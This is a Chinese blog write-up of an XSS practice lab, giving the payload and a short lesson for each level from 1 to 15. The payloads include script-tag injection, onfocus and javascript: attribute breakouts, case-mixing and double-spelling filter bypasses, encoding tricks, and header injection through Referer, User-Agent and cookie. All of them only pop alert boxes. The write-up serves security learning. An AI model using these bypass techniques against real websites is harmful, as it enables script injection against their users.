XSS漏洞靶场
level1
查看网站源码,发现get传参name的值test插入到了html头里面,还回显payload长度
插入js代码,get传参
?name=<script>alert()</script>
本关小结:JS弹窗函数alert()
level2
貌似不对,查看下源码
闭合掉双引号
"> <script>alert()</script> <"
本关小结:闭合绕过
level3
输入123456
但是htmlspecialchars函数只针对<>大于小于进行html实体化,我们还可以利用其他方法进行xss注入,这里利用onfocus事件绕过
简单来说,onfocus事件就是当输入框被点击的时候,就会触发myFunction()函数,然后我们再配合javascript伪协议来执行javascript代码
' onfocus=javascript:alert() '
本关小结:onfocus可以绕过实体化(即<>号的过滤)
level4
" onfocus=javascript:alert() "
level5
过滤了js标签onfocus事件,将字母转换小写
用a href标签法
href属性的意思是 当标签被点击的时候,就会触发执行转跳,上面是转跳到一个网站,我们还可以触发执行一段js代码
添加一个标签得闭合前面的标签
点击xxx,出发a标签即可
"> <a href = javascript:alert()>xxx</a> <"
level6
过滤很多,尝试大小写绕过
"> <sCript>alert()</sCript> <"
" Onfocus=javascript:alert() "
"> <a hRef=javascript:alert()>xxx</a> <"
本关小结:大小写法绕过str_replace函数
level7
将on、src、data、href过滤,我们使用双拼写绕过
"> <a hhrefref=javascscriptript:alert()>xxx</a> <"
本关小结:双拼写绕过删除函数
level8
加上了小写转换
我们能利用href的隐藏属性自动Unicode解码,我们可以插入一段js伪代码
javascript:alert()
使用unicode编码
javascript:alert()
本关小结:href属性自动解析unicode编码
level9
当false等于false的时候(就是传入的值没有http://)就会执行if,为了防止false===false,我们需要向传入的值里面添加http://并用注释符注释掉否则会执行不了无法弹窗,让函数strpos返回一个数字,构造payload
javascript:alert()/* http:// */
本关小结:插入指定内容(本关是http://)绕过检测,再将指定内容用注释符注释掉即可
level10
这里是get传参t_sort,并过滤掉了<>号,不能闭合插入标签,但是我们还能用onfocus事件,因为这里输入框被隐藏了,需要添加type="text",构造payload
不加type属性的话,那个input标签是不会显示在网页上的,加了顺便能闭合掉双引号
?t_sort=" onfocus=javascript:alert() type="text
level11
用burpsuite抓包一下,添加http头
Referer: " sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()> j
对比发现 把大于小于号><给删掉了,但是我们还能用onfocus,构造一个http头
Referer: " onfocus=javascript:alert() type="text
level12
这关肯定是User-Agent头了
bp
" onfocus=javascript:alert() type="text
level13
名字是t_cook猜是cookie
" onclick=alert() type="text
刷新,点击框框
level14
我的靶场有问题
level15
ng-include指令就是文件包涵的意思,用来包涵外部的html文件,如果包涵的内容是地址,需要加引号
尝试包含第一关
?src='/level1.php'
所以可以随便包涵之前的一关并对其传参,以达到弹窗的效果,先测试一下过滤了啥,
'level1.php?name=<img src=1 οnerrοr=javascript:alert("qiushuo")>'
标签:XSS,javascript,alert,漏洞,&#,本关,靶场,小结,onfocus
From: https://www.cnblogs.com/yang-ace/p/18162298